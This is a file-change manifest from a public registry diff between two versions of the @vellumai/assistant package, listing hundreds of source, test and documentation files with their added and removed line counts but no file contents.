@vellumai/assistant 0.6.3 → 0.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.prettierignore +5 -0
- package/ARCHITECTURE.md +298 -39
- package/Dockerfile +14 -3
- package/README.md +3 -4
- package/bun.lock +13 -16
- package/docs/architecture/integrations.md +1 -20
- package/docs/architecture/security.md +16 -16
- package/docs/backup-troubleshooting.md +52 -0
- package/docs/browser-use-architecture-phase2.md +174 -0
- package/docs/error-handling.md +111 -0
- package/docs/skills.md +10 -10
- package/docs/stt-provider-onboarding.md +121 -0
- package/knip.json +20 -3
- package/node_modules/@vellumai/ces-contracts/bun.lock +8 -6
- package/node_modules/@vellumai/ces-contracts/package.json +5 -4
- package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +471 -0
- package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +398 -4
- package/node_modules/@vellumai/credential-storage/bun.lock +2 -2
- package/node_modules/@vellumai/credential-storage/package.json +2 -2
- package/node_modules/@vellumai/credential-storage/src/oauth-runtime.ts +20 -2
- package/node_modules/@vellumai/egress-proxy/bun.lock +2 -2
- package/node_modules/@vellumai/egress-proxy/package.json +2 -2
- package/openapi.yaml +1094 -72
- package/package.json +9 -8
- package/scripts/generate-openapi.ts +50 -12
- package/scripts/test.sh +73 -18
- package/src/__tests__/agent-image-optimize.test.ts +28 -0
- package/src/__tests__/agent-loop-callsite-precedence.test.ts +318 -0
- package/src/__tests__/agent-loop-sentry-hygiene.test.ts +137 -0
- package/src/__tests__/agent-loop.test.ts +235 -1
- package/src/__tests__/anthropic-error-formatting.test.ts +98 -0
- package/src/__tests__/anthropic-provider.test.ts +434 -12
- package/src/__tests__/approval-cascade.test.ts +31 -10
- package/src/__tests__/approval-routes-http.test.ts +134 -10
- package/src/__tests__/assistant-attachments.test.ts +44 -0
- package/src/__tests__/assistant-feature-flags-integration.test.ts +29 -0
- package/src/__tests__/auto-analysis-end-to-end.test.ts +550 -0
- package/src/__tests__/auto-analysis-prompt.test.ts +50 -0
- package/src/__tests__/browser-fill-credential.test.ts +12 -1
- package/src/__tests__/browser-identifier-parity-guard.test.ts +53 -0
- package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +23 -33
- package/src/__tests__/browser-skill-endstate.test.ts +52 -159
- package/src/__tests__/btw-routes.test.ts +54 -1
- package/src/__tests__/call-controller.test.ts +582 -22
- package/src/__tests__/call-site-routing-provider.test.ts +214 -0
- package/src/__tests__/catalog-cache.test.ts +27 -4
- package/src/__tests__/catalog-files.test.ts +138 -0
- package/src/__tests__/channel-approval-routes.test.ts +4 -4
- package/src/__tests__/channel-invite-transport.test.ts +2 -2
- package/src/__tests__/channel-readiness-routes.test.ts +16 -20
- package/src/__tests__/channel-readiness-service.test.ts +12 -7
- package/src/__tests__/channel-reply-delivery.test.ts +300 -2
- package/src/__tests__/checker.test.ts +576 -502
- package/src/__tests__/clawhub-files.test.ts +347 -0
- package/src/__tests__/cli-command-risk-guard.test.ts +30 -33
- package/src/__tests__/commit-message-enrichment-service.test.ts +36 -19
- package/src/__tests__/compaction-circuit-breaker.test.ts +336 -0
- package/src/__tests__/compaction.benchmark.test.ts +1 -1
- package/src/__tests__/config-analysis.test.ts +83 -0
- package/src/__tests__/config-loader-backfill.test.ts +174 -0
- package/src/__tests__/config-loader-corrupt.test.ts +183 -0
- package/src/__tests__/config-loader-quarantine-bulletin.test.ts +202 -0
- package/src/__tests__/config-schema-cmd.test.ts +11 -5
- package/src/__tests__/config-schema.test.ts +1458 -198
- package/src/__tests__/config-watcher-cleanup-throttle.test.ts +339 -0
- package/src/__tests__/config-watcher.test.ts +45 -10
- package/src/__tests__/contact-store-user-file.test.ts +511 -0
- package/src/__tests__/contacts-write.test.ts +197 -0
- package/src/__tests__/context-token-estimator.test.ts +191 -1
- package/src/__tests__/context-window-manager.test.ts +618 -2
- package/src/__tests__/conversation-abort-tool-results.test.ts +32 -16
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +62 -17
- package/src/__tests__/conversation-agent-loop.test.ts +510 -84
- package/src/__tests__/conversation-attachments.test.ts +1 -1
- package/src/__tests__/conversation-confirmation-signals.test.ts +165 -9
- package/src/__tests__/conversation-error.test.ts +102 -1
- package/src/__tests__/conversation-history-web-search.test.ts +17 -4
- package/src/__tests__/conversation-init.benchmark.test.ts +42 -1
- package/src/__tests__/conversation-launcher-skill-regression.test.ts +51 -0
- package/src/__tests__/conversation-lifecycle.test.ts +336 -0
- package/src/__tests__/conversation-list-source.test.ts +145 -0
- package/src/__tests__/conversation-load-history-repair.test.ts +27 -10
- package/src/__tests__/conversation-pre-run-repair.test.ts +32 -16
- package/src/__tests__/conversation-process-callsite.test.ts +306 -0
- package/src/__tests__/conversation-provider-retry-repair.test.ts +32 -16
- package/src/__tests__/conversation-queue.test.ts +932 -76
- package/src/__tests__/conversation-routes-disk-view.test.ts +299 -1
- package/src/__tests__/conversation-routes-slash-commands.test.ts +31 -3
- package/src/__tests__/conversation-runtime-assembly.test.ts +2790 -55
- package/src/__tests__/conversation-runtime-workspace.test.ts +12 -12
- package/src/__tests__/conversation-skill-tools.test.ts +12 -143
- package/src/__tests__/conversation-slash-commands.test.ts +33 -0
- package/src/__tests__/conversation-slash-queue.test.ts +120 -34
- package/src/__tests__/conversation-slash-unknown.test.ts +32 -16
- package/src/__tests__/conversation-speed-override.test.ts +30 -11
- package/src/__tests__/conversation-surfaces-standalone-payloads.test.ts +1035 -0
- package/src/__tests__/conversation-surfaces-standalone.test.ts +630 -0
- package/src/__tests__/conversation-title-service.test.ts +2 -2
- package/src/__tests__/conversation-tool-setup-batch-authorized.test.ts +226 -0
- package/src/__tests__/conversation-unread-route.test.ts +2 -2
- package/src/__tests__/conversation-usage.test.ts +3 -1
- package/src/__tests__/conversation-workspace-cache-state.test.ts +31 -10
- package/src/__tests__/conversation-workspace-injection.test.ts +45 -15
- package/src/__tests__/conversation-workspace-tool-tracking.test.ts +46 -16
- package/src/__tests__/credential-broker-browser-fill.test.ts +110 -0
- package/src/__tests__/credential-health-service.test.ts +352 -0
- package/src/__tests__/credential-security-invariants.test.ts +8 -3
- package/src/__tests__/credential-storage-oauth-compat.test.ts +18 -0
- package/src/__tests__/credential-storage-static-compat.test.ts +28 -0
- package/src/__tests__/credential-vault-unit.test.ts +495 -3
- package/src/__tests__/credentials-cli.test.ts +32 -16
- package/src/__tests__/cross-provider-web-search.test.ts +230 -35
- package/src/__tests__/daemon-server-persist-and-process-callsite.test.ts +92 -0
- package/src/__tests__/delete-propagation.test.ts +437 -0
- package/src/__tests__/deterministic-verification-control-plane.test.ts +10 -1
- package/src/__tests__/device-id.test.ts +112 -0
- package/src/__tests__/dm-backfill.test.ts +417 -0
- package/src/__tests__/dm-persistence.test.ts +227 -0
- package/src/__tests__/docker-signing-key-bootstrap.test.ts +167 -4
- package/src/__tests__/dynamic-skill-workflow-prompt.test.ts +1 -3
- package/src/__tests__/edit-propagation.test.ts +280 -0
- package/src/__tests__/email-html-renderer.test.ts +71 -0
- package/src/__tests__/email-invite-adapter.test.ts +36 -32
- package/src/__tests__/emit-event-signal.test.ts +71 -0
- package/src/__tests__/ephemeral-permissions.test.ts +93 -3
- package/src/__tests__/estimator-calibration-integration.test.ts +208 -0
- package/src/__tests__/estimator-calibration.test.ts +213 -0
- package/src/__tests__/extension-id-sync-guard.test.ts +101 -15
- package/src/__tests__/file-write-tool.test.ts +151 -1
- package/src/__tests__/filing-service.test.ts +255 -0
- package/src/__tests__/fixtures/mock-chrome-extension.ts +11 -0
- package/src/__tests__/gateway-only-enforcement.test.ts +206 -1
- package/src/__tests__/gateway-only-guard.test.ts +0 -1
- package/src/__tests__/gemini-provider.test.ts +64 -3
- package/src/__tests__/get-skill-detail-audit.test.ts +325 -0
- package/src/__tests__/guardian-grant-minting.test.ts +8 -0
- package/src/__tests__/headless-browser-interactions.test.ts +44 -1
- package/src/__tests__/headless-browser-mode.test.ts +614 -0
- package/src/__tests__/headless-browser-navigate.test.ts +142 -5
- package/src/__tests__/headless-browser-read-tools.test.ts +11 -0
- package/src/__tests__/headless-browser-snapshot.test.ts +10 -0
- package/src/__tests__/heartbeat-service.test.ts +166 -32
- package/src/__tests__/home-state-routes.test.ts +162 -0
- package/src/__tests__/host-bash-proxy.test.ts +0 -5
- package/src/__tests__/host-browser-e2e-cloud.test.ts +138 -4
- package/src/__tests__/host-browser-e2e-self-hosted.test.ts +4 -4
- package/src/__tests__/host-browser-ws-events-e2e.test.ts +103 -0
- package/src/__tests__/host-cu-proxy.test.ts +0 -5
- package/src/__tests__/host-shell-tool.test.ts +124 -18
- package/src/__tests__/http-user-message-parity.test.ts +29 -1
- package/src/__tests__/identity-intro-cache.test.ts +40 -10
- package/src/__tests__/inbound-slack-persistence.test.ts +340 -0
- package/src/__tests__/init-feature-flag-overrides.test.ts +38 -112
- package/src/__tests__/intent-routing.test.ts +1 -40
- package/src/__tests__/jobs-store-upsert-debounced.test.ts +141 -0
- package/src/__tests__/llm-catalog-parity.test.ts +174 -0
- package/src/__tests__/llm-context-normalization.test.ts +609 -0
- package/src/__tests__/llm-context-route-provider.test.ts +86 -5
- package/src/__tests__/llm-resolver.test.ts +214 -0
- package/src/__tests__/llm-schema.test.ts +223 -0
- package/src/__tests__/llm-usage-store.test.ts +363 -0
- package/src/__tests__/managed-proxy-context.test.ts +6 -2
- package/src/__tests__/media-stream-output.test.ts +555 -0
- package/src/__tests__/media-stream-parser.test.ts +374 -0
- package/src/__tests__/media-stream-server-integration.test.ts +1234 -0
- package/src/__tests__/media-stream-stt-session.test.ts +588 -0
- package/src/__tests__/media-turn-detector.test.ts +440 -0
- package/src/__tests__/message-queue.test.ts +125 -0
- package/src/__tests__/messaging-skill-split.test.ts +3 -34
- package/src/__tests__/migration-export-http.test.ts +6 -6
- package/src/__tests__/migration-import-commit-http.test.ts +8 -6
- package/src/__tests__/migration-import-from-url.test.ts +684 -0
- package/src/__tests__/migration-import-preflight-http.test.ts +6 -5
- package/src/__tests__/migration-validate-http.test.ts +3 -3
- package/src/__tests__/mock-gateway-ipc.ts +151 -0
- package/src/__tests__/model-intents.test.ts +10 -84
- package/src/__tests__/notification-decision-fallback.test.ts +0 -10
- package/src/__tests__/notification-decision-identity.test.ts +0 -9
- package/src/__tests__/notification-decision-recipient-context.test.ts +0 -9
- package/src/__tests__/oauth-apps-routes.test.ts +1 -0
- package/src/__tests__/oauth-cli.test.ts +2 -0
- package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
- package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
- package/src/__tests__/oauth-providers-routes.test.ts +2 -0
- package/src/__tests__/oauth-store.test.ts +95 -7
- package/src/__tests__/oauth2-gateway-transport.test.ts +257 -9
- package/src/__tests__/oauth2-refresh-retry.test.ts +279 -0
- package/src/__tests__/onboarding-template-contract.test.ts +6 -13
- package/src/__tests__/openai-provider.test.ts +183 -0
- package/src/__tests__/openai-responses-cutover-guard.test.ts +184 -0
- package/src/__tests__/openai-responses-provider.test.ts +1501 -0
- package/src/__tests__/openrouter-provider-only.test.ts +135 -0
- package/src/__tests__/openrouter-token-estimation.test.ts +100 -0
- package/src/__tests__/outbound-slack-persistence.test.ts +293 -0
- package/src/__tests__/permission-checker-host-gate.test.ts +1 -1
- package/src/__tests__/permission-mode.test.ts +16 -0
- package/src/__tests__/permission-types.test.ts +0 -1
- package/src/__tests__/persona-resolver.test.ts +251 -0
- package/src/__tests__/pkb-autoinject.test.ts +37 -1
- package/src/__tests__/platform-bash-auto-approve.test.ts +5 -1
- package/src/__tests__/platform.test.ts +92 -1
- package/src/__tests__/post-turn-tool-result-truncation.test.ts +47 -0
- package/src/__tests__/prechat-onboarding-contract.test.ts +267 -0
- package/src/__tests__/pricing.test.ts +224 -3
- package/src/__tests__/profiler-routes.test.ts +1 -1
- package/src/__tests__/provider-commit-message-generator.test.ts +14 -84
- package/src/__tests__/provider-env-vars-scope.test.ts +52 -0
- package/src/__tests__/provider-error-scenarios.test.ts +135 -6
- package/src/__tests__/provider-managed-proxy-integration.test.ts +42 -11
- package/src/__tests__/provider-registry-ollama.test.ts +1 -2
- package/src/__tests__/proxy-approval-callback.test.ts +0 -1
- package/src/__tests__/qdrant-manager.test.ts +29 -8
- package/src/__tests__/reaction-persistence.test.ts +560 -0
- package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +194 -0
- package/src/__tests__/relationship-state-contract.test.ts +175 -0
- package/src/__tests__/relay-server.test.ts +424 -6
- package/src/__tests__/require-fresh-approval.test.ts +1 -1
- package/src/__tests__/retry-openrouter-only-normalization.test.ts +136 -0
- package/src/__tests__/retry-thinking-tool-choice.test.ts +226 -0
- package/src/__tests__/risk-classifier-parity.test.ts +230 -0
- package/src/__tests__/sanitize-config-for-transfer.test.ts +78 -1
- package/src/__tests__/search-skills-unified.test.ts +118 -0
- package/src/__tests__/secret-ingress-http.test.ts +28 -0
- package/src/__tests__/secret-prompter-channel-fallback.test.ts +125 -0
- package/src/__tests__/secret-routes-managed-proxy.test.ts +2 -3
- package/src/__tests__/secret-scanner-executor.test.ts +5 -1
- package/src/__tests__/secure-keys.test.ts +107 -0
- package/src/__tests__/send-endpoint-busy.test.ts +34 -2
- package/src/__tests__/sequence-store.test.ts +1 -1
- package/src/__tests__/server-history-render.test.ts +80 -0
- package/src/__tests__/settings-routes.test.ts +201 -0
- package/src/__tests__/shell-parser-property.test.ts +13 -13
- package/src/__tests__/skill-cache-store.test.ts +182 -0
- package/src/__tests__/skill-load-feature-flag.test.ts +1 -0
- package/src/__tests__/skills-file-content-endpoint.test.ts +276 -145
- package/src/__tests__/skills-files-catalog-fallback.test.ts +381 -93
- package/src/__tests__/skills.test.ts +19 -30
- package/src/__tests__/skillssh-files.test.ts +446 -0
- package/src/__tests__/slack-app-setup-skill-regression.test.ts +3 -1
- package/src/__tests__/slack-block-formatting.test.ts +110 -0
- package/src/__tests__/slack-channel-config.test.ts +564 -1
- package/src/__tests__/slack-skill.test.ts +3 -8
- package/src/__tests__/starter-bundle.test.ts +35 -0
- package/src/__tests__/stt-catalog-parity.test.ts +282 -0
- package/src/__tests__/stt-stream-session.test.ts +535 -0
- package/src/__tests__/subagent-call-site-routing.test.ts +280 -0
- package/src/__tests__/suggestion-routes.test.ts +160 -3
- package/src/__tests__/system-prompt.test.ts +126 -53
- package/src/__tests__/task-runner.test.ts +3 -1
- package/src/__tests__/tcc-sandbox-deny.test.ts +198 -0
- package/src/__tests__/telephony-stt-routing.test.ts +329 -0
- package/src/__tests__/terminal-tools.test.ts +26 -7
- package/src/__tests__/test-preload.ts +18 -0
- package/src/__tests__/test-support/browser-skill-harness.ts +2 -49
- package/src/__tests__/thread-backfill.test.ts +941 -0
- package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +2 -2
- package/src/__tests__/tool-executor-lifecycle-events.test.ts +10 -6
- package/src/__tests__/tool-executor-shell-integration.test.ts +4 -0
- package/src/__tests__/tool-executor.test.ts +88 -113
- package/src/__tests__/tool-result-truncation.test.ts +36 -0
- package/src/__tests__/trust-store.test.ts +442 -103
- package/src/__tests__/trusted-contact-approval-notifier.test.ts +1 -1
- package/src/__tests__/tts-catalog-parity.test.ts +345 -0
- package/src/__tests__/twilio-routes-twiml.test.ts +512 -114
- package/src/__tests__/twilio-routes.test.ts +376 -0
- package/src/__tests__/unicode.test.ts +293 -0
- package/src/__tests__/update-bulletin-job.test.ts +389 -0
- package/src/__tests__/usage-cache-backfill-migration.test.ts +3 -1
- package/src/__tests__/usage-routes.test.ts +25 -4
- package/src/__tests__/user-reference.test.ts +46 -61
- package/src/__tests__/verification-control-plane-policy.test.ts +5 -22
- package/src/__tests__/voice-config-update.test.ts +403 -0
- package/src/__tests__/voice-quality.test.ts +434 -19
- package/src/__tests__/voice-session-bridge.test.ts +39 -0
- package/src/__tests__/volume-security-guard.test.ts +3 -2
- package/src/__tests__/web-search-history.test.ts +337 -0
- package/src/__tests__/workspace-heartbeat-service.test.ts +7 -0
- package/src/__tests__/workspace-migration-033-stt-service-explicit-config.test.ts +547 -0
- package/src/__tests__/workspace-migration-034-remove-calls-voice-transcription-provider.test.ts +596 -0
- package/src/__tests__/workspace-migration-039-drop-legacy-llm-keys.test.ts +343 -0
- package/src/__tests__/workspace-migration-043-release-notes-latex-rendering.test.ts +202 -0
- package/src/__tests__/workspace-migration-045-release-notes-meet-avatar.test.ts +210 -0
- package/src/__tests__/workspace-migration-drop-user-md.test.ts +368 -0
- package/src/__tests__/workspace-migration-meets.test.ts +244 -0
- package/src/__tests__/workspace-migration-seed-device-id.test.ts +14 -20
- package/src/__tests__/workspace-migration-unify-llm-callsite-configs.test.ts +841 -0
- package/src/__tests__/workspace-policy.test.ts +1 -11
- package/src/acp/client-handler.ts +1 -2
- package/src/agent/image-optimize.ts +24 -12
- package/src/agent/loop.ts +251 -19
- package/src/avatar/resvg-lazy.test.ts +136 -0
- package/src/avatar/resvg-lazy.ts +82 -9
- package/src/avatar/traits-png-sync.ts +21 -1
- package/src/backup/__tests__/backup-key.test.ts +152 -0
- package/src/backup/__tests__/backup-worker.test.ts +767 -0
- package/src/backup/__tests__/list-snapshots.test.ts +87 -0
- package/src/backup/__tests__/local-writer.test.ts +218 -0
- package/src/backup/__tests__/offsite-writer.test.ts +641 -0
- package/src/backup/__tests__/paths.test.ts +300 -0
- package/src/backup/__tests__/restore.test.ts +498 -0
- package/src/backup/__tests__/snapshot-lock.test.ts +352 -0
- package/src/backup/__tests__/stream-crypt.test.ts +228 -0
- package/src/backup/backup-key.ts +137 -0
- package/src/backup/backup-worker.ts +459 -0
- package/src/backup/list-snapshots.ts +147 -0
- package/src/backup/local-writer.ts +133 -0
- package/src/backup/offsite-writer.ts +222 -0
- package/src/backup/paths.ts +226 -0
- package/src/backup/restore.ts +322 -0
- package/src/backup/snapshot-lock.ts +431 -0
- package/src/backup/stream-crypt.ts +263 -0
- package/src/browser/__tests__/operations.test.ts +163 -0
- package/src/browser/identifiers.ts +51 -0
- package/src/browser/operations.ts +660 -0
- package/src/browser/types.ts +81 -0
- package/src/bundler/package-resolver.ts +4 -0
- package/src/calls/audio-store.ts +11 -5
- package/src/calls/call-controller.ts +226 -71
- package/src/calls/call-domain.ts +9 -0
- package/src/calls/call-speech-output.ts +190 -0
- package/src/calls/call-transport.ts +77 -0
- package/src/calls/guardian-question-copy.ts +2 -2
- package/src/calls/media-stream-audio-transcode.ts +173 -0
- package/src/calls/media-stream-output.ts +660 -0
- package/src/calls/media-stream-parser.ts +300 -0
- package/src/calls/media-stream-protocol.ts +166 -0
- package/src/calls/media-stream-server.ts +592 -0
- package/src/calls/media-stream-stt-session.ts +460 -0
- package/src/calls/media-turn-detector.ts +230 -0
- package/src/calls/relay-server.ts +90 -75
- package/src/calls/resolve-call-tts-provider.ts +136 -0
- package/src/calls/telephony-stt-routing.ts +145 -0
- package/src/calls/tts-call-strategy.ts +161 -0
- package/src/calls/tts-text-sanitizer.ts +32 -16
- package/src/calls/twilio-routes.ts +281 -17
- package/src/calls/voice-quality.ts +78 -35
- package/src/calls/voice-session-bridge.ts +9 -1
- package/src/channels/types.ts +16 -0
- package/src/cli/AGENTS.md +1 -1
- package/src/cli/__tests__/run-assistant-command.ts +11 -1
- package/src/cli/commands/__tests__/attachment.test.ts +438 -0
- package/src/cli/commands/__tests__/backup.test.ts +1165 -0
- package/src/cli/commands/__tests__/browser.test.ts +554 -0
- package/src/cli/commands/__tests__/cache.test.ts +623 -0
- package/src/cli/commands/__tests__/domain-register.test.ts +234 -0
- package/src/cli/commands/__tests__/domain-status.test.ts +132 -0
- package/src/cli/commands/__tests__/email-attachment.test.ts +422 -0
- package/src/cli/commands/__tests__/email-download.test.ts +16 -1
- package/src/cli/commands/__tests__/email-list.test.ts +28 -4
- package/src/cli/commands/__tests__/email-register.test.ts +4 -4
- package/src/cli/commands/__tests__/email-send.test.ts +130 -5
- package/src/cli/commands/__tests__/email-status.test.ts +5 -1
- package/src/cli/commands/__tests__/email-unregister.test.ts +34 -5
- package/src/cli/commands/__tests__/image-generation.test.ts +666 -0
- package/src/cli/commands/__tests__/inference-send.test.ts +451 -0
- package/src/cli/commands/__tests__/stt-transcribe.test.ts +454 -0
- package/src/cli/commands/__tests__/task.test.ts +913 -0
- package/src/cli/commands/__tests__/tts-synthesize.test.ts +594 -0
- package/src/cli/commands/__tests__/ui-confirm.test.ts +650 -0
- package/src/cli/commands/__tests__/ui.test.ts +1215 -0
- package/src/cli/commands/__tests__/watchers.test.ts +716 -0
- package/src/cli/commands/attachment.ts +182 -0
- package/src/cli/commands/backup.ts +993 -0
- package/src/cli/commands/browser.ts +350 -0
- package/src/cli/commands/cache.ts +341 -0
- package/src/cli/commands/completions.ts +0 -3
- package/src/cli/commands/config.ts +6 -6
- package/src/cli/commands/conversations-import.ts +347 -0
- package/src/cli/commands/conversations.ts +90 -0
- package/src/cli/commands/credentials.ts +0 -1
- package/src/cli/commands/domain.ts +210 -0
- package/src/cli/commands/email.ts +308 -16
- package/src/cli/commands/image-generation.ts +300 -0
- package/src/cli/commands/inference.ts +200 -0
- package/src/cli/commands/memory.ts +127 -17
- package/src/cli/commands/oauth/__tests__/connect.test.ts +12 -0
- package/src/cli/commands/oauth/__tests__/providers-delete.test.ts +1 -0
- package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -0
- package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -0
- package/src/cli/commands/oauth/mode.ts +12 -3
- package/src/cli/commands/oauth/providers.ts +15 -0
- package/src/cli/commands/oauth/shared.ts +2 -1
- package/src/cli/commands/platform/__tests__/callback-routes-list.test.ts +4 -10
- package/src/cli/commands/platform/__tests__/connect.test.ts +6 -1
- package/src/cli/commands/platform/__tests__/disconnect.test.ts +7 -2
- package/src/cli/commands/platform/__tests__/status.test.ts +6 -1
- package/src/cli/commands/stt.ts +339 -0
- package/src/cli/commands/task.ts +795 -0
- package/src/cli/commands/trust.ts +50 -19
- package/src/cli/commands/tts.ts +273 -0
- package/src/cli/commands/ui.ts +670 -0
- package/src/cli/commands/watchers.ts +509 -0
- package/src/cli/lib/daemon-credential-client.ts +0 -19
- package/src/cli/program.ts +53 -8
- package/src/cli.ts +0 -37
- package/src/config/__tests__/backup-schema.test.ts +134 -0
- package/src/config/assistant-feature-flags.ts +61 -62
- package/src/config/bundled-skills/app-builder/references/CUSTOM_ROUTES.md +37 -1
- package/src/config/bundled-skills/contacts/SKILL.md +2 -2
- package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +23 -1
- package/src/config/bundled-skills/media-processing/SKILL.md +3 -9
- package/src/config/bundled-skills/media-processing/TOOLS.json +1 -6
- package/src/config/bundled-skills/media-processing/__tests__/audio-transcribe.test.ts +125 -0
- package/src/config/bundled-skills/media-processing/__tests__/extract-keyframes.test.ts +181 -0
- package/src/config/bundled-skills/media-processing/__tests__/preprocess-audio.test.ts +141 -0
- package/src/config/bundled-skills/media-processing/services/audio-transcribe.ts +32 -87
- package/src/config/bundled-skills/media-processing/services/preprocess.ts +8 -4
- package/src/config/bundled-skills/media-processing/services/reduce.ts +1 -1
- package/src/config/bundled-skills/media-processing/tools/extract-keyframes.ts +0 -10
- package/src/config/bundled-skills/messaging/SKILL.md +5 -5
- package/src/config/bundled-skills/messaging/TOOLS.json +4 -0
- package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +9 -2
- package/src/config/bundled-skills/messaging/tools/messaging-read.ts +15 -1
- package/src/config/bundled-skills/messaging/tools/messaging-search.ts +21 -1
- package/src/config/bundled-skills/messaging/tools/messaging-send.ts +11 -12
- package/src/config/bundled-skills/phone-calls/SKILL.md +2 -2
- package/src/config/bundled-skills/phone-calls/references/CONFIG.md +28 -18
- package/src/config/bundled-skills/phone-calls/references/TROUBLESHOOTING.md +3 -3
- package/src/config/bundled-skills/settings/TOOLS.json +3 -3
- package/src/config/bundled-skills/settings/tools/voice-config-update.ts +26 -22
- package/src/config/bundled-skills/transcribe/SKILL.md +9 -14
- package/src/config/bundled-skills/transcribe/TOOLS.json +2 -7
- package/src/config/bundled-skills/transcribe/tools/transcribe-media.test.ts +256 -0
- package/src/config/bundled-skills/transcribe/tools/transcribe-media.ts +38 -188
- package/src/config/bundled-tool-registry.ts +0 -167
- package/src/config/env-registry.ts +24 -0
- package/src/config/env.ts +39 -10
- package/src/config/feature-flag-registry.json +63 -15
- package/src/config/llm-resolver.ts +128 -0
- package/src/config/loader.ts +220 -22
- package/src/config/raw-config-utils.ts +30 -2
- package/src/config/sanitize-for-transfer.ts +35 -0
- package/src/config/schema.ts +65 -51
- package/src/config/schemas/__tests__/stt.test.ts +43 -0
- package/src/config/schemas/analysis.ts +32 -0
- package/src/config/schemas/backup.ts +72 -0
- package/src/config/schemas/calls.ts +1 -30
- package/src/config/schemas/elevenlabs.ts +0 -59
- package/src/config/schemas/filing.ts +49 -14
- package/src/config/schemas/heartbeat.ts +27 -10
- package/src/config/schemas/host-browser.ts +47 -1
- package/src/config/schemas/inference.ts +3 -23
- package/src/config/schemas/llm.ts +318 -0
- package/src/config/schemas/memory-lifecycle.ts +14 -2
- package/src/config/schemas/memory-processing.ts +1 -9
- package/src/config/schemas/notifications.ts +4 -11
- package/src/config/schemas/platform.ts +3 -9
- package/src/config/schemas/security.ts +33 -0
- package/src/config/schemas/services.ts +53 -4
- package/src/config/schemas/stt.ts +60 -0
- package/src/config/schemas/tts.ts +283 -0
- package/src/config/schemas/updates.ts +14 -0
- package/src/config/schemas/workspace-git.ts +3 -40
- package/src/config/skills.ts +6 -2
- package/src/config/types.ts +4 -0
- package/src/contacts/contact-store.ts +56 -11
- package/src/contacts/contacts-write.ts +38 -1
- package/src/context/__tests__/compact-prompt.test.ts +45 -0
- package/src/context/__tests__/microcompact.test.ts +805 -0
- package/src/context/estimator-calibration.ts +136 -0
- package/src/context/microcompact.ts +443 -0
- package/src/context/post-turn-tool-result-truncation.ts +3 -2
- package/src/context/prompts/compact.md +12 -0
- package/src/context/token-estimator.ts +61 -3
- package/src/context/tool-result-truncation.ts +2 -1
- package/src/context/window-manager.ts +272 -35
- package/src/credential-execution/approval-bridge.ts +0 -1
- package/src/credential-execution/executable-discovery.ts +23 -2
- package/src/credential-execution/process-manager.test.ts +109 -0
- package/src/credential-execution/process-manager.ts +96 -2
- package/src/credential-health/credential-health-service.ts +366 -0
- package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +324 -0
- package/src/daemon/__tests__/conversation-surfaces-launch.test.ts +497 -0
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +17 -8
- package/src/daemon/__tests__/lifecycle-startup-ordering.test.ts +127 -0
- package/src/daemon/approval-generators.ts +29 -4
- package/src/daemon/assistant-attachments.ts +24 -13
- package/src/daemon/classifier.ts +2 -2
- package/src/daemon/config-watcher.ts +99 -6
- package/src/daemon/context-overflow-reducer.ts +4 -1
- package/src/daemon/conversation-agent-loop-handlers.ts +85 -12
- package/src/daemon/conversation-agent-loop.ts +563 -104
- package/src/daemon/conversation-attachments.ts +2 -6
- package/src/daemon/conversation-error.ts +46 -0
- package/src/daemon/conversation-history.ts +40 -6
- package/src/daemon/conversation-launch.ts +220 -0
- package/src/daemon/conversation-lifecycle.ts +85 -11
- package/src/daemon/conversation-messaging.ts +110 -7
- package/src/daemon/conversation-notifiers.ts +5 -0
- package/src/daemon/conversation-process.ts +591 -23
- package/src/daemon/conversation-queue-manager.ts +27 -0
- package/src/daemon/conversation-runtime-assembly.ts +769 -28
- package/src/daemon/conversation-slash.ts +38 -2
- package/src/daemon/conversation-surfaces.ts +483 -5
- package/src/daemon/conversation-tool-setup.ts +35 -5
- package/src/daemon/conversation-usage.ts +8 -5
- package/src/daemon/conversation.ts +193 -47
- package/src/daemon/external-skills-bootstrap.ts +41 -0
- package/src/daemon/guardian-action-generators.ts +34 -14
- package/src/daemon/handlers/config-model.test.ts +86 -0
- package/src/daemon/handlers/config-model.ts +54 -12
- package/src/daemon/handlers/config-slack-channel.ts +269 -94
- package/src/daemon/handlers/conversations.ts +13 -3
- package/src/daemon/handlers/shared.ts +51 -1
- package/src/daemon/handlers/skills.ts +323 -79
- package/src/daemon/handlers/slack-channel-oauth-install.ts +197 -0
- package/src/daemon/host-browser-proxy.ts +2 -1
- package/src/daemon/lifecycle.ts +185 -26
- package/src/daemon/message-protocol.ts +6 -0
- package/src/daemon/message-types/conversations.ts +48 -1
- package/src/daemon/message-types/home.ts +40 -0
- package/src/daemon/message-types/meet.ts +143 -0
- package/src/daemon/message-types/messages.ts +23 -1
- package/src/daemon/message-types/schedules.ts +34 -2
- package/src/daemon/message-types/skills.ts +16 -0
- package/src/daemon/message-types/surfaces.ts +2 -0
- package/src/daemon/message-types/trust.ts +0 -2
- package/src/daemon/parse-actual-tokens-from-error.test.ts +57 -1
- package/src/daemon/parse-actual-tokens-from-error.ts +66 -0
- package/src/daemon/pkb-context-tracker.test.ts +169 -0
- package/src/daemon/pkb-context-tracker.ts +125 -0
- package/src/daemon/pkb-reminder-builder.test.ts +70 -0
- package/src/daemon/pkb-reminder-builder.ts +31 -0
- package/src/daemon/providers-setup.ts +6 -0
- package/src/daemon/server.ts +463 -10
- package/src/daemon/shutdown-handlers.ts +32 -4
- package/src/daemon/shutdown-registry.ts +40 -0
- package/src/daemon/tool-side-effects.ts +9 -9
- package/src/daemon/watch-handler.ts +4 -4
- package/src/daemon/web-search-history.ts +126 -0
- package/src/email/html-renderer.ts +76 -0
- package/src/events/domain-events.ts +0 -1
- package/src/filing/filing-service.ts +9 -10
